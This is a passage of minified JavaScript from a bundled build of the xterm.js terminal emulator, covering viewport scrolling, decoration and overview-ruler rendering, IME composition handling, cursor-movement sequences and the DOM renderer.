this._lastTouchY=e.touches[0].pageY,0!==t&&(this._viewportElement.scrollTop+=t,this._bubbleScroll(e,t))}};t.Viewport=l=s([r(2,c.IBufferService),r(3,c.IOptionsService),r(4,o.ICharSizeService),r(5,o.IRenderService),r(6,o.ICoreBrowserService),r(7,o.IThemeService)],l)},3107:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.BufferDecorationRenderer=void 0;const n=i(3656),o=i(4725),a=i(844),h=i(2585);let c=t.BufferDecorationRenderer=class extends a.Disposable{constructor(e,t,i,s){super(),this._screenElement=e,this._bufferService=t,this._decorationService=i,this._renderService=s,this._decorationElements=new Map,this._altBufferIsActive=!1,this._dimensionsChanged=!1,this._container=document.createElement("div"),this._container.classList.add("xterm-decoration-container"),this._screenElement.appendChild(this._container),this.register(this._renderService.onRenderedViewportChange((()=>this._doRefreshDecorations()))),this.register(this._renderService.onDimensionsChange((()=>{this._dimensionsChanged=!0,this._queueRefresh()}))),this.register((0,n.addDisposableDomListener)(window,"resize",(()=>this._queueRefresh()))),this.register(this._bufferService.buffers.onBufferActivate((()=>{this._altBufferIsActive=this._bufferService.buffer===this._bufferService.buffers.alt}))),this.register(this._decorationService.onDecorationRegistered((()=>this._queueRefresh()))),this.register(this._decorationService.onDecorationRemoved((e=>this._removeDecoration(e)))),this.register((0,a.toDisposable)((()=>{this._container.remove(),this._decorationElements.clear()})))}_queueRefresh(){void 0===this._animationFrame&&(this._animationFrame=this._renderService.addRefreshCallback((()=>{this._doRefreshDecorations(),this._animationFrame=void 0})))}_doRefreshDecorations(){for(const e of this._decorationService.decorations)this._renderDecoration(e);this._dimensionsChanged=!1}_renderDecoration(e){this._refreshStyle(e),this._dimensionsChanged&&this._refreshXPosition(e)}_createElement(e){var t,i;const s=document.createElement("div");s.classList.add("xterm-decoration"),s.classList.toggle("xterm-decoration-top-layer","top"===(null===(t=null==e?void 0:e.options)||void 0===t?void 0:t.layer)),s.style.width=`${Math.round((e.options.width||1)*this._renderService.dimensions.css.cell.width)}px`,s.style.height=(e.options.height||1)*this._renderService.dimensions.css.cell.height+"px",s.style.top=(e.marker.line-this._bufferService.buffers.active.ydisp)*this._renderService.dimensions.css.cell.height+"px",s.style.lineHeight=`${this._renderService.dimensions.css.cell.height}px`;const r=null!==(i=e.options.x)&&void 0!==i?i:0;return r&&r>this._bufferService.cols&&(s.style.display="none"),this._refreshXPosition(e,s),s}_refreshStyle(e){const t=e.marker.line-this._bufferService.buffers.active.ydisp;if(t<0||t>=this._bufferService.rows)e.element&&(e.element.style.display="none",e.onRenderEmitter.fire(e.element));else{let i=this._decorationElements.get(e);i||(i=this._createElement(e),e.element=i,this._decorationElements.set(e,i),this._container.appendChild(i),e.onDispose((()=>{this._decorationElements.delete(e),i.remove()}))),i.style.top=t*this._renderService.dimensions.css.cell.height+"px",i.style.display=this._altBufferIsActive?"none":"block",e.onRenderEmitter.fire(i)}}_refreshXPosition(e,t=e.element){var i;if(!t)return;const s=null!==(i=e.options.x)&&void 0!==i?i:0;"right"===(e.options.anchor||"left")?t.style.right=s?s*this._renderService.dimensions.css.cell.width+"px":"":t.style.left=s?s*this._renderService.dimensions.css.cell.width+"px":""}_removeDecoration(e){var t;null===(t=this._decorationElements.get(e))||void 0===t||t.remove(),this._decorationElements.delete(e),e.dispose()}};t.BufferDecorationRenderer=c=s([r(1,h.IBufferService),r(2,h.IDecorationService),r(3,o.IRenderService)],c)},5871:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.ColorZoneStore=void 0,t.ColorZoneStore=class{constructor(){this._zones=[],this._zonePool=[],this._zonePoolIndex=0,this._linePadding={full:0,left:0,center:0,right:0}}get zones(){return this._zonePool.length=Math.min(this._zonePool.length,this._zones.length),this._zones}clear(){this._zones.length=0,this._zonePoolIndex=0}addDecoration(e){if(e.options.overviewRulerOptions){for(const t of this._zones)if(t.color===e.options.overviewRulerOptions.color&&t.position===e.options.overviewRulerOptions.position){if(this._lineIntersectsZone(t,e.marker.line))return;if(this._lineAdjacentToZone(t,e.marker.line,e.options.overviewRulerOptions.position))return void this._addLineToZone(t,e.marker.line)}if(this._zonePoolIndex<this._zonePool.length)return this._zonePool[this._zonePoolIndex].color=e.options.overviewRulerOptions.color,this._zonePool[this._zonePoolIndex].position=e.options.overviewRulerOptions.position,this._zonePool[this._zonePoolIndex].startBufferLine=e.marker.line,this._zonePool[this._zonePoolIndex].endBufferLine=e.marker.line,void this._zones.push(this._zonePool[this._zonePoolIndex++]);this._zones.push({color:e.options.overviewRulerOptions.color,position:e.options.overviewRulerOptions.position,startBufferLine:e.marker.line,endBufferLine:e.marker.line}),this._zonePool.push(this._zones[this._zones.length-1]),this._zonePoolIndex++}}setPadding(e){this._linePadding=e}_lineIntersectsZone(e,t){return t>=e.startBufferLine&&t<=e.endBufferLine}_lineAdjacentToZone(e,t,i){return t>=e.startBufferLine-this._linePadding[i||"full"]&&t<=e.endBufferLine+this._linePadding[i||"full"]}_addLineToZone(e,t){e.startBufferLine=Math.min(e.startBufferLine,t),e.endBufferLine=Math.max(e.endBufferLine,t)}}},5744:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.OverviewRulerRenderer=void 0;const n=i(5871),o=i(3656),a=i(4725),h=i(844),c=i(2585),l={full:0,left:0,center:0,right:0},d={full:0,left:0,center:0,right:0},u={full:0,left:0,center:0,right:0};let _=t.OverviewRulerRenderer=class extends h.Disposable{get _width(){return this._optionsService.options.overviewRulerWidth||0}constructor(e,t,i,s,r,o,a){var c;super(),this._viewportElement=e,this._screenElement=t,this._bufferService=i,this._decorationService=s,this._renderService=r,this._optionsService=o,this._coreBrowseService=a,this._colorZoneStore=new n.ColorZoneStore,this._shouldUpdateDimensions=!0,this._shouldUpdateAnchor=!0,this._lastKnownBufferLength=0,this._canvas=document.createElement("canvas"),this._canvas.classList.add("xterm-decoration-overview-ruler"),this._refreshCanvasDimensions(),null===(c=this._viewportElement.parentElement)||void 0===c||c.insertBefore(this._canvas,this._viewportElement);const l=this._canvas.getContext("2d");if(!l)throw new Error("Ctx cannot be null");this._ctx=l,this._registerDecorationListeners(),this._registerBufferChangeListeners(),this._registerDimensionChangeListeners(),this.register((0,h.toDisposable)((()=>{var e;null===(e=this._canvas)||void 0===e||e.remove()})))}_registerDecorationListeners(){this.register(this._decorationService.onDecorationRegistered((()=>this._queueRefresh(void 0,!0)))),this.register(this._decorationService.onDecorationRemoved((()=>this._queueRefresh(void 0,!0))))}_registerBufferChangeListeners(){this.register(this._renderService.onRenderedViewportChange((()=>this._queueRefresh()))),this.register(this._bufferService.buffers.onBufferActivate((()=>{this._canvas.style.display=this._bufferService.buffer===this._bufferService.buffers.alt?"none":"block"}))),this.register(this._bufferService.onScroll((()=>{this._lastKnownBufferLength!==this._bufferService.buffers.normal.lines.length&&(this._refreshDrawHeightConstants(),this._refreshColorZonePadding())})))}_registerDimensionChangeListeners(){this.register(this._renderService.onRender((()=>{this._containerHeight&&this._containerHeight===this._screenElement.clientHeight||(this._queueRefresh(!0),this._containerHeight=this._screenElement.clientHeight)}))),this.register(this._optionsService.onSpecificOptionChange("overviewRulerWidth",(()=>this._queueRefresh(!0)))),this.register((0,o.addDisposableDomListener)(this._coreBrowseService.window,"resize",(()=>this._queueRefresh(!0)))),this._queueRefresh(!0)}_refreshDrawConstants(){const e=Math.floor(this._canvas.width/3),t=Math.ceil(this._canvas.width/3);d.full=this._canvas.width,d.left=e,d.center=t,d.right=e,this._refreshDrawHeightConstants(),u.full=0,u.left=0,u.center=d.left,u.right=d.left+d.center}_refreshDrawHeightConstants(){l.full=Math.round(2*this._coreBrowseService.dpr);const e=this._canvas.height/this._bufferService.buffer.lines.length,t=Math.round(Math.max(Math.min(e,12),6)*this._coreBrowseService.dpr);l.left=t,l.center=t,l.right=t}_refreshColorZonePadding(){this._colorZoneStore.setPadding({full:Math.floor(this._bufferService.buffers.active.lines.length/(this._canvas.height-1)*l.full),left:Math.floor(this._bufferService.buffers.active.lines.length/(this._canvas.height-1)*l.left),center:Math.floor(this._bufferService.buffers.active.lines.length/(this._canvas.height-1)*l.center),right:Math.floor(this._bufferService.buffers.active.lines.length/(this._canvas.height-1)*l.right)}),this._lastKnownBufferLength=this._bufferService.buffers.normal.lines.length}_refreshCanvasDimensions(){this._canvas.style.width=`${this._width}px`,this._canvas.width=Math.round(this._width*this._coreBrowseService.dpr),this._canvas.style.height=`${this._screenElement.clientHeight}px`,this._canvas.height=Math.round(this._screenElement.clientHeight*this._coreBrowseService.dpr),this._refreshDrawConstants(),this._refreshColorZonePadding()}_refreshDecorations(){this._shouldUpdateDimensions&&this._refreshCanvasDimensions(),this._ctx.clearRect(0,0,this._canvas.width,this._canvas.height),this._colorZoneStore.clear();for(const e of this._decorationService.decorations)this._colorZoneStore.addDecoration(e);this._ctx.lineWidth=1;const e=this._colorZoneStore.zones;for(const t of e)"full"!==t.position&&this._renderColorZone(t);for(const t of e)"full"===t.position&&this._renderColorZone(t);this._shouldUpdateDimensions=!1,this._shouldUpdateAnchor=!1}_renderColorZone(e){this._ctx.fillStyle=e.color,this._ctx.fillRect(u[e.position||"full"],Math.round((this._canvas.height-1)*(e.startBufferLine/this._bufferService.buffers.active.lines.length)-l[e.position||"full"]/2),d[e.position||"full"],Math.round((this._canvas.height-1)*((e.endBufferLine-e.startBufferLine)/this._bufferService.buffers.active.lines.length)+l[e.position||"full"]))}_queueRefresh(e,t){this._shouldUpdateDimensions=e||this._shouldUpdateDimensions,this._shouldUpdateAnchor=t||this._shouldUpdateAnchor,void 0===this._animationFrame&&(this._animationFrame=this._coreBrowseService.window.requestAnimationFrame((()=>{this._refreshDecorations(),this._animationFrame=void 0})))}};t.OverviewRulerRenderer=_=s([r(2,c.IBufferService),r(3,c.IDecorationService),r(4,a.IRenderService),r(5,c.IOptionsService),r(6,a.ICoreBrowserService)],_)},2950:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.CompositionHelper=void 0;const n=i(4725),o=i(2585),a=i(2584);let h=t.CompositionHelper=class{get isComposing(){return this._isComposing}constructor(e,t,i,s,r,n){this._textarea=e,this._compositionView=t,this._bufferService=i,this._optionsService=s,this._coreService=r,this._renderService=n,this._isComposing=!1,this._isSendingComposition=!1,this._compositionPosition={start:0,end:0},this._dataAlreadySent=""}compositionstart(){this._isComposing=!0,this._compositionPosition.start=this._textarea.value.length,this._compositionView.textContent="",this._dataAlreadySent="",this._compositionView.classList.add("active")}compositionupdate(e){this._compositionView.textContent=e.data,this.updateCompositionElements(),setTimeout((()=>{this._compositionPosition.end=this._textarea.value.length}),0)}compositionend(){this._finalizeComposition(!0)}keydown(e){if(this._isComposing||this._isSendingComposition){if(229===e.keyCode)return!1;if(16===e.keyCode||17===e.keyCode||18===e.keyCode)return!1;this._finalizeComposition(!1)}return 229!==e.keyCode||(this._handleAnyTextareaChanges(),!1)}_finalizeComposition(e){if(this._compositionView.classList.remove("active"),this._isComposing=!1,e){const e={start:this._compositionPosition.start,end:this._compositionPosition.end};this._isSendingComposition=!0,setTimeout((()=>{if(this._isSendingComposition){let t;this._isSendingComposition=!1,e.start+=this._dataAlreadySent.length,t=this._isComposing?this._textarea.value.substring(e.start,e.end):this._textarea.value.substring(e.start),t.length>0&&this._coreService.triggerDataEvent(t,!0)}}),0)}else{this._isSendingComposition=!1;const e=this._textarea.value.substring(this._compositionPosition.start,this._compositionPosition.end);this._coreService.triggerDataEvent(e,!0)}}_handleAnyTextareaChanges(){const e=this._textarea.value;setTimeout((()=>{if(!this._isComposing){const t=this._textarea.value,i=t.replace(e,"");this._dataAlreadySent=i,t.length>e.length?this._coreService.triggerDataEvent(i,!0):t.length<e.length?this._coreService.triggerDataEvent(`${a.C0.DEL}`,!0):t.length===e.length&&t!==e&&this._coreService.triggerDataEvent(t,!0)}}),0)}updateCompositionElements(e){if(this._isComposing){if(this._bufferService.buffer.isCursorInViewport){const e=Math.min(this._bufferService.buffer.x,this._bufferService.cols-1),t=this._renderService.dimensions.css.cell.height,i=this._bufferService.buffer.y*this._renderService.dimensions.css.cell.height,s=e*this._renderService.dimensions.css.cell.width;this._compositionView.style.left=s+"px",this._compositionView.style.top=i+"px",this._compositionView.style.height=t+"px",this._compositionView.style.lineHeight=t+"px",this._compositionView.style.fontFamily=this._optionsService.rawOptions.fontFamily,this._compositionView.style.fontSize=this._optionsService.rawOptions.fontSize+"px";const r=this._compositionView.getBoundingClientRect();this._textarea.style.left=s+"px",this._textarea.style.top=i+"px",this._textarea.style.width=Math.max(r.width,1)+"px",this._textarea.style.height=Math.max(r.height,1)+"px",this._textarea.style.lineHeight=r.height+"px"}e||setTimeout((()=>this.updateCompositionElements(!0)),0)}}};t.CompositionHelper=h=s([r(2,o.IBufferService),r(3,o.IOptionsService),r(4,o.ICoreService),r(5,n.IRenderService)],h)},9806:(e,t)=>{function i(e,t,i){const s=i.getBoundingClientRect(),r=e.getComputedStyle(i),n=parseInt(r.getPropertyValue("padding-left")),o=parseInt(r.getPropertyValue("padding-top"));return[t.clientX-s.left-n,t.clientY-s.top-o]}Object.defineProperty(t,"__esModule",{value:!0}),t.getCoords=t.getCoordsRelativeToElement=void 0,t.getCoordsRelativeToElement=i,t.getCoords=function(e,t,s,r,n,o,a,h,c){if(!o)return;const l=i(e,t,s);return l?(l[0]=Math.ceil((l[0]+(c?a/2:0))/a),l[1]=Math.ceil(l[1]/h),l[0]=Math.min(Math.max(l[0],1),r+(c?1:0)),l[1]=Math.min(Math.max(l[1],1),n),l):void 0}},9504:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.moveToCellSequence=void 0;const s=i(2584);function r(e,t,i,s){const r=e-n(e,i),a=t-n(t,i),l=Math.abs(r-a)-function(e,t,i){let s=0;const r=e-n(e,i),a=t-n(t,i);for(let n=0;n<Math.abs(r-a);n++){const a="A"===o(e,t)?-1:1,h=i.buffer.lines.get(r+a*n);(null==h?void 0:h.isWrapped)&&s++}return s}(e,t,i);return c(l,h(o(e,t),s))}function n(e,t){let i=0,s=t.buffer.lines.get(e),r=null==s?void 0:s.isWrapped;for(;r&&e>=0&&e<t.rows;)i++,s=t.buffer.lines.get(--e),r=null==s?void 0:s.isWrapped;return i}function o(e,t){return e>t?"A":"B"}function a(e,t,i,s,r,n){let o=e,a=t,h="";for(;o!==i||a!==s;)o+=r?1:-1,r&&o>n.cols-1?(h+=n.buffer.translateBufferLineToString(a,!1,e,o),o=0,e=0,a++):!r&&o<0&&(h+=n.buffer.translateBufferLineToString(a,!1,0,e+1),o=n.cols-1,e=o,a--);return h+n.buffer.translateBufferLineToString(a,!1,e,o)}function h(e,t){const i=t?"O":"[";return s.C0.ESC+i+e}function c(e,t){e=Math.floor(e);let i="";for(let s=0;s<e;s++)i+=t;return i}t.moveToCellSequence=function(e,t,i,s){const o=i.buffer.x,l=i.buffer.y;if(!i.buffer.hasScrollback)return function(e,t,i,s,o,l){return 0===r(t,s,o,l).length?"":c(a(e,t,e,t-n(t,o),!1,o).length,h("D",l))}(o,l,0,t,i,s)+r(l,t,i,s)+function(e,t,i,s,o,l){let d;d=r(t,s,o,l).length>0?s-n(s,o):t;const u=s,_=function(e,t,i,s,o,a){let h;return h=r(i,s,o,a).length>0?s-n(s,o):t,e<i&&h<=s||e>=i&&h<s?"C":"D"}(e,t,i,s,o,l);return c(a(e,d,i,u,"C"===_,o).length,h(_,l))}(o,l,e,t,i,s);let d;if(l===t)return d=o>e?"D":"C",c(Math.abs(o-e),h(d,s));d=l>t?"D":"C";const u=Math.abs(l-t);return c(function(e,t){return t.cols-e}(l>t?e:o,i)+(u-1)*i.cols+1+((l>t?o:e)-1),h(d,s))}},1296:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.DomRenderer=void 0;const n=i(3787),o=i(2550),a=i(2223),h=i(6171),c=i(4725),l=i(8055),d=i(8460),u=i(844),_=i(2585),f="xterm-dom-renderer-owner-",v="xterm-rows",p="xterm-fg-",g="xterm-bg-",m="xterm-focus",S="xterm-selection";let b=1,C=t.DomRenderer=class extends u.Disposable{constructor(e,t,i,s,r,a,c,l,_,p){super(),this._element=e,this._screenElement=t,this._viewportElement=i,this._linkifier2=s,this._charSizeService=a,this._optionsService=c,this._bufferService=l,this._coreBrowserService=_,this._themeService=p,this._terminalClass=b++,this._rowElements=[],this.onRequestRedraw=this.register(new d.EventEmitter).event,this._rowContainer=document.createElement("div"),this._rowContainer.classList.add(v),this._rowContainer.style.lineHeight="normal",this._rowContainer.setAttribute("aria-hidden","true"),this._refreshRowElements(this._bufferService.cols,this._bufferService.rows),this._selectionContainer=document.createElement("div"),this._selectionContainer.classList.add(S),this._selectionContainer.setAttribute("aria-hidden","true"),this.dimensions=(0,h.createRenderDimensions)(),this._updateDimensions(),this.register(this._optionsService.onOptionChange((()=>this._handleOptionsChanged()))),this.register(this._themeService.onChangeColors((e=>this._injectCss(e)))),this._injectCss(this._themeService.colors),this._rowFactory=r.createInstance(n.DomRendererRowFactory,document),this._element.classList.add(f+this._terminalClass),this._screenElement.appendChild(this._rowContainer),this._screenElement.appendChild(this._selectionContainer),this.register(this._linkifier2.onShowLinkUnderline((e=>this._handleLinkHover(e)))),this.register(this._linkifier2.onHideLinkUnderline((e=>this._handleLinkLeave(e)))),this.register((0,u.toDisposable)((()=>{this._element.classList.remove(f+this._terminalClass),this._rowContainer.remove(),this._selectionContainer.remove(),this._widthCache.dispose(),this._themeStyleElement.remove(),this._dimensionsStyleElement.remove()}))),this._widthCache=new o.WidthCache(document),this._widthCache.setFont(this._optionsService.rawOptions.fontFamily,this._optionsService.rawOptions.fontSize,this._optionsService.rawOptions.fontWeight,this._optionsService.rawOptions.fontWeightBold),this._setDefaultSpacing()}_updateDimensions(){const e=this._coreBrowserService.dpr;this.dimensions.device.char.width=this._charSizeService.width*e,this.dimensions.device.char.height=Math.ceil(this._charSizeService.height*e),this.dimensions.device.cell.width=this.dimensions.device.char.width+Math.round(this._optionsService.rawOptions.letterSpacing),this.dimensions.device.cell.height=Math.floor(this.dimensions.device.char.height*this._optionsService.rawOptions.lineHeight),this.dimensions.device.char.left=0,this.dimensions.device.char.top=0,this.dimensions.device.canvas.width=this.dimensions.device.cell.width*this._bufferService.cols,this.dimensions.device.canvas.height=this.dimensions.device.cell.height*this._bufferService.rows,this.dimensions.css.canvas.width=Math.round(this.dimensions.device.canvas.width/e),this.dimensions.css.canvas.height=Math.round(this.dimensions.device.canvas.height/e),this.dimensions.css.cell.width=this.dimensions.css.canvas.width/this._bufferService.cols,this.dimensions.css.cell.height=this.dimensions.css.canvas.height/this._bufferService.rows;for(const e of this._rowElements)e.style.width=`${this.dimensions.css.canvas.width}px`,e.style.height=`${this.dimensions.css.cell.height}px`,e.style.lineHeight=`${this.dimensions.css.cell.height}px`,e.style.overflow="hidden";this._dimensionsStyleElement||(this._dimensionsStyleElement=document.createElement("style"),this._screenElement.appendChild(this._dimensionsStyleElement));const t=`${this._terminalSelector} .${v} span { display: inline-block; height: 100%; vertical-align: top;}`;this._dimensionsStyleElement.textContent=t,this._selectionContainer.style.height=this._viewportElement.style.height,this._screenElement.style.width=`${this.dimensions.css.canvas.width}px`,this._screenElement.style.height=`${this.dimensions.css.canvas.height}px`}_injectCss(e){this._themeStyleElement||(this._themeStyleElement=document.createElement("style"),this._screenElement.appendChild(this._themeStyleElement));let t=`${this._terminalSelector} .${v} { color: ${e.foreground.css}; font-family: ${this._optionsService.rawOptions.fontFamily}; font-size: ${this._optionsService.rawOptions.fontSize}px; font-kerning: none; white-space: pre}`;t+=`${this._terminalSelector} .${v} .xterm-dim { color: ${l.color.multiplyOpacity(e.foreground,.5).css};}`,t+=`${this._terminalSelector} span:not(.xterm-bold) { font-weight: ${this._optionsService.rawOptions.fontWeight};}${this._terminalSelector} span.xterm-bold { font-weight: ${this._optionsService.rawOptions.fontWeightBold};}${this._terminalSelector} span.xterm-italic { font-style: italic;}`,t+="@keyframes blink_box_shadow_"+this._terminalClass+" { 50% {  border-bottom-style: hidden; }}",t+="@keyframes blink_block_"+this._terminalClass+" { 0% {"+`  background-color: ${e.cursor.css};`+`  color: ${e.cursorAccent.css}; } 50% {  background-color: inherit;`+`  color: ${e.cursor.css}; }}`,t+=`${this._terminalSelector} .${v}.${m} .xterm-cursor.xterm-cursor-blink:not(.xterm-cursor-block) { animation: blink_box_shadow_`+this._terminalClass+" 1s step-end infinite;}"+`${this._terminalSelector} .${v}.${m} .xterm-cursor.xterm-cursor-blink.xterm-cursor-block { animation: blink_block_`+this._terminalClass+" 1s step-end infinite;}"+`${this._terminalSelector} .${v} .xterm-cursor.xterm-cursor-block {`+` background-color: ${e.cursor.css};`+` color: ${e.cursorAccent.css};}`+`${this._terminalSelector} .${v} .xterm-cursor.xterm-cursor-outline {`+` outline: 1px solid ${e.cursor.css}; outline-offset: -1px;}`+`${this._terminalSelector} .${v} .xterm-cursor.xterm-cursor-bar {`+` box-shadow: ${this._optionsService.rawOptions.cursorWidth}px 0 0 ${e.cursor.css} inset;}`+`${this._terminalSelector} .${v} .xterm-cursor.xterm-cursor-underline {`+` border-bottom: 1px ${e.cursor.css}; border-bottom-style: solid; height: calc(100% - 1px);}`,t+=`${this._terminalSelector} .${S} { position: absolute; top: 0; left: 0; z-index: 1; pointer-events: none;}${this._terminalSelector}.focus .${S} div { position: absolute; background-color: ${e.selectionBackgroundOpaque.css};}${this._terminalSelector} .${S} div { position: absolute; background-color: ${e.selectionInactiveBackgroundOpaque.css};}`;for(const[i,s]of e.ansi.entries())t+=`${this._terminalSelector} .${p}${i} { color: ${s.css}; }${this._terminalSelector} .${p}${i}.xterm-dim { color: ${l.color.multiplyOpacity(s,.5).css}; }${this._terminalSelector} .${g}${i} { background-color: ${s.css}; }`;t+=`${this._terminalSelector} .${p}${a.INVERTED_DEFAULT_COLOR} { color: ${l.color.opaque(e.background).css}; }${this._terminalSelector} .${p}${a.INVERTED_DEFAULT_COLOR}.xterm-dim { color: ${l.color.multiplyOpacity(l.color.opaque(e.background),.5).css}; }${this._terminalSelector} .${g}${a.INVERTED_DEFAULT_COLOR} { background-color: ${e.foreground.css}; }`,this._themeStyleElement.textContent=t}_setDefaultSpacing(){const e=this.dimensions.css.cell.width-this._widthCache.get("W",!1,!1);this._rowContainer.style.letterSpacing=`${e}px`,this._rowFactory.defaultSpacing=e}handleDevicePixelRatioChange(){this._updateDimensions(),this._widthCache.clear(),this._setDefaultSpacing()}_refreshRowElements(e,t){for(let e=this._rowElements.length;e<=t;e++){const e=document.createElement("div");this._rowContainer.appendChild(e),this._rowElements.push(e)}for(;this._rowElements.length>t;)this._rowContainer.removeChild(this._rowElements.pop())}handleResize(e,t){this._refreshRowElements(e,t),this._updateDimensions()}handleCharSizeChanged(){this._updateDimensions(),this._widthCache.clear(),this._setDefaultSpacing()}handleBlur(){this._rowContainer.classList.remove(m)}handleFocus(){this._rowContainer.classList.add(m),this.renderRows(this._bufferService.buffer.y,this._bufferService.buffer.y)}handleSelectionChanged(e,t,i){if(this._selectionContainer.replaceChildren(),this._rowFactory.handleSelectionChanged(e,t,i),this.renderRows(0,this._bufferService.rows-1),!e||!t)return;const s=e[1]-this._bufferService.buffer.ydisp,r=t[1]-this._bufferService.buffer.ydisp,n=Math.max(s,0),o=Math.min(r,this._bufferService.rows-1);if(n>=this._bufferService.rows||o<0)return;const a=document.createDocumentFragment();if(i){const i=e[0]>t[0];a.appendChild(this._createSelectionElement(n,i?t[0]:e[0],i?e[0]:t[0],o-n+1))}else{const i=s===n?e[0]:0,h=n===r?t[0]:this._bufferService.cols;a.appendChild(this._createSelectionElement(n,i,h));const c=o-n-1;if(a.appendChild(this._createSelectionElement(n+1,0,this._bufferService.cols,c)),n!==o){const e=r===o?t[0]:this._bufferService.cols;a.appendChild(this._createSelectionElement(o,0,e))}}this._selectionContainer.appendChild(a)}_createSelectionElement(e,t,i,s=1){const r=document.createElement("div");return r.style.height=s*this.dimensions.css.cell.height+"px",r.style.top=e*this.dimensions.css.cell.height+"px",r.style.left=t*this.dimensions.css.cell.width+"px",r.style.width=this.dimensions.css.cell.width*(i-t)+"px",r}handleCursorMove(){}_handleOptionsChanged(){this._updateDimensions(),this._injectCss(this._themeService.colors),this._widthCache.setFont(this._optionsService.rawOptions.fontFamily,this._optionsService.rawOptions.fontSize,this._optionsService.rawOptions.fontWeight,this._optionsService.rawOptions.fontWeightBold),this._setDefaultSpacing()}clear(){for(const e of this._rowElements)e.replaceChildren()}renderRows(e,t){const i=this._bufferService.buffer,s=i.ybase+i.y,r=Math.min(i.x,this._bufferService.cols-1),n=this._optionsService.rawOptions.cursorBlink,o=this._optionsService.rawOptions.cursorStyle,a=this._optionsService.rawOptions.cursorInactiveStyle;for(let h=e;h<=t;h++){const e=h+i.ydisp,t=this._rowElements[h],c=i.lines.get(e);if(!t||!c)break;t.replaceChildren(...this._rowFactory.createRow(c,e,e===s,o,a,r,n,this.dimensions.css.cell.width,this._widthCache,-1,-1))}}get _terminalSelector(){return`.${f}${this._terminalClass}`}_handleLinkHover(e){this._setCellUnderline(e.x1,e.x2,e.y1,e.y2,e.cols,!0)}_handleLinkLeave(e){this._setCellUnderline(e.x1,e.x2,e.y1,e.y2,e.cols,!1)}_setCellUnderline(e,t,i,s,r,n){i<0&&(e=0),s<0&&(t=0);const o=this._bufferService.rows-1;i=Math.max(Math.min(i,o),0),s=Math.max(Math.min(s,o),0),r=Math.min(r,this._bufferService.cols);const a=this._bufferService.buffer,h=a.ybase+a.y,c=Math.min(a.x,r-1),l=this._optionsService.rawOptions.cursorBlink,d=this._optionsService.rawOptions.cursorStyle,u=this._optionsService.rawOptions.cursorInactiveStyle;for(let o=i;o<=s;++o){const _=o+a.ydisp,f=this._rowElements[o],v=a.lines.get(_);if(!f||!v)break;f.replaceChildren(...this._rowFactory.createRow(v,_,_===h,d,u,c,l,this.dimensions.css.cell.width,this._widthCache,n?o===i?e:0:-1,n?(o===s?t:r)-1:-1))}}};t.DomRenderer=C=s([r(4,_.IInstantiationService),r(5,c.ICharSizeService),r(6,_.IOptionsService),r(7,_.IBufferService),r(8,c.ICoreBrowserService),r(9,c.IThemeService)],C)},3787:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.DomRendererRowFactory=void 0;const n=i(2223),o=i(643),a=i(511),h=i(2585),c=i(8055),l=i(4725),d=i(4269),u=i(6171),_=i(3734);let f=t.DomRendererRowFactory=class{constructor(e,t,i,s,r,n,o){this._document=e,this._characterJoinerService=t,this._optionsService=i,this._coreBrowserService=s,this._coreService=r,this._decorationService=n,this._themeService=o,this._workCell=new a.CellData,this._columnSelectMode=!1,this.defaultSpacing=0}handleSelectionChanged(e,t,i){this._selectionStart=e,this._selectionEnd=t,this._columnSelectMode=i}createRow(e,t,i,s,r,a,h,l,u,f,p){const g=[],m=this._characterJoinerService.getJoinedCharacters(t),S=this._themeService.colors;let b,C=e.getNoBgTrimmedLength();i&&C<a+1&&(C=a+1);let y=0,w="",E=0,k=0,x=0,L=!1,D=0,A=!1,R=0;const T=[],B=-1!==f&&-1!==p;for(let M=0;M<C;M++){e.loadCell(M,this._workCell);let C=this._workCell.getWidth();if(0===C)continue;let O=!1,P=M,I=this._workCell;if(m.length>0&&M===m[0][0]){O=!0;const t=m.shift();I=new 